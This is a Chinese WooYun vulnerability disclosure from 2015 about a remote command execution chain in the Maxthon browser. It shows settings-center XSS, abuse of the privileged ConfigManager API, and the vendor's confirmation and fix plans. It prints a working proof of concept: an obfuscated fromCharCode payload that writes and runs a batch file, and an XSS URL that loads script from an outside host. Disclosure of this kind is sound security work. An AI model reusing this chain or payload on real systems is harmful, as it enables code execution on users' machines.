当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-094814

漏洞标题：傲游浏览器远程命令执行漏洞

相关厂商：傲游

漏洞作者： Lyleaks

提交时间：2015-01-31 01:36

修复时间：2015-05-04 15:20

公开时间：2015-05-04 15:20

漏洞类型：远程代码执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-31： 细节已通知厂商并且等待厂商处理中
2015-02-03： 厂商已经确认，细节仅向厂商公开
2015-02-06： 细节向第三方安全合作伙伴开放
2015-03-30： 细节向核心白帽子及相关领域专家公开
2015-04-09： 细节向普通白帽子公开
2015-04-19： 细节向实习白帽子公开
2015-05-04： 细节向公众公开

简要描述：

赚云币

详细说明：

前几天傲游在 WooYun: 傲游浏览器远程命令执行漏洞（Web端+客户端配合利用技巧） 更新状态说设置中心的漏洞修复了，看了下发现傲游浏览器已经更新到了4.4.4.900。
下载最新版，发现设置中心添加主页的XSS被修复了，但是找了一下又发现了两处XSS。
第1处。在设置中心有一个网址直达的功能，添加网址别名的地方没有对别名进行过滤。

1.jpg


2.jpg


第2处。这一处比较隐蔽，在添加一键通的地方可选快捷键只有F1-F12，显然没办法直接更改快捷键。

new_1.jpg


但是测试发现可以通过傲游提供的api来修改。
试着把F1修改为"><img src=1 onerror=alert(location.href)>,发现快捷键果然没有过滤。

new_2.jpg


要更改浏览器的设置，可以用maxthon.browser.config.ConfigManager这个api，而*.maxthon.cn可以调用这个api，所以只要找一个*.maxthon.cn的XSS就行了,这并不难。
因为mx://res/notification/ 可以调用maxthon.program，mx://res/app/%7B33CA60D6-EADC-4558-9185-2EBE14214AB9%7D/index.htm
可以调用maxthon.io，用 WooYun: 傲游浏览器远程命令执行漏洞（Web端+客户端配合利用技巧） 提到的方法，构造如下POC

b = [{'"><img src=1 onerror=eval(String.fromCharCode(118,97,114,32,97,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,105,102,114,97,109,101,34,41,59,97,46,115,114,99,61,34,109,120,58,47,47,114,101,115,47,97,112,112,47,37,55,66,51,51,67,65,54,48,68,54,45,69,65,68,67,45,52,53,53,56,45,57,49,56,53,45,50,69,66,69,49,52,50,49,52,65,66,57,37,55,68,47,105,110,100,101,120,46,104,116,109,34,59,97,46,111,110,108,111,97,100,61,102,117,110,99,116,105,111,110,40,41,123,118,97,114,32,98,61,97,46,99,111,110,116,101,110,116,87,105,110,100,111,119,46,109,97,120,116,104,111,110,46,105,111,46,70,105,108,101,46,99,114,101,97,116,101,84,101,109,112,70,105,108,101,40,41,59,98,46,110,97,109,101,95,32,61,32,34,68,58,47,116,101,115,116,46,98,97,116,34,59,97,46,99,111,110,116,101,110,116,87,105,110,100,111,119,46,109,97,120,116,104,111,110,46,105,111,46,70,105,108,101,87,114,105,116,101,114,40,98,41,59,97,46,99,111,110,116,101,110,116,87,105,110,100,111,119,46,109,97,120,116,104,111,110,46,105,111,46,119,114,105,116,101,84,101,120,116,40,34,99,109,100,32,47,107,32,100,105,114,34,41,59,125,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,97,41,59,115,101,116,84,105,109,101,111,117,116,40,39,118,97,114,32,99,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,105,102,114,97,109,101,34,41,59,99,46,115,114,99,61,34,109,120,58,47,47,114,101,115,47,110,111,116,105,102,105,99,97,116,105,111,110,47,34,59,99,46,111,110,108,111,97,100,61,102,117,110,99,116,105,111,110,40,41,123,99,46,99,111,110,116,101,110,116,87,105,110,100,111,119,46,109,97,120,116,104,111,110,46,112,114,111,103,114,97,109,46,80,114,111,103,114,97,109,46,108,97,117,110,99,104,40,34,68,58,47,116,101,115,116,46,98,97,116,34,44,34,34,41,125,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,99,41,59,39,44,49,48,48,48,41,59));>':"www.qq.com"},{"F2":""},{"F3":""},{"F4":""},{"F5":""},{"F6":""},{"F7":""},{"F8":""},{"F9":""},{"F10":""},{"F11":""},{"F12":""}];
c = window.JSON.stringify(b);
maxthon.browser.config.ConfigManager.set("maxthon.config", "browser.general.targeturl.shortcuts",c);
maxthon.browser.config.ConfigManager.set("maxthon.config", "browser.general.startpage", "mx://res/options/index.htm");


然后使用*.maxthon.cn的XSS调用上面的POC。
http://tuan.maxthon.cn/en_US/search/all/Ij48c2NyaXB0IHNyYz1odHRwOi8vdXRmNy5tbC90L21heHRob24yLmpzPjwvc2NyaXB0Pg==

4.jpg


5.jpg


另外再说一下，傲游浏览器有一个设计缺陷，就是外围特权网站的范围太广，即使本地特权域没有XSS，一个
特权网站的XSS就可以做很多事。例如maxthon.browser.config.ConfigManager这个api就可以用来更改浏览器的所有配置，比如添加代理服务器等。

漏洞证明：

访问下面的URL之后，下一次启动浏览器时会在D盘写入一个test.bat并运行。

http://tuan.maxthon.cn/en_US/search/all/Ij48c2NyaXB0IHNyYz1odHRwOi8vdXRmNy5tbC90L21heHRob24yLmpzPjwvc2NyaXB0Pg==


5.jpg


测试版本

6.jpg

修复方案：

1、不要指那补那
2、缩小外围特权网站的范围
3、修复XSS

版权声明：转载请注明来源 Lyleaks@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-02-03 15:19

厂商回复：

的 XSS 已修复
设置中心安全漏洞会在 4.4.4.1200修复
接口的权限会在后续版本完善

最新状态：

暂无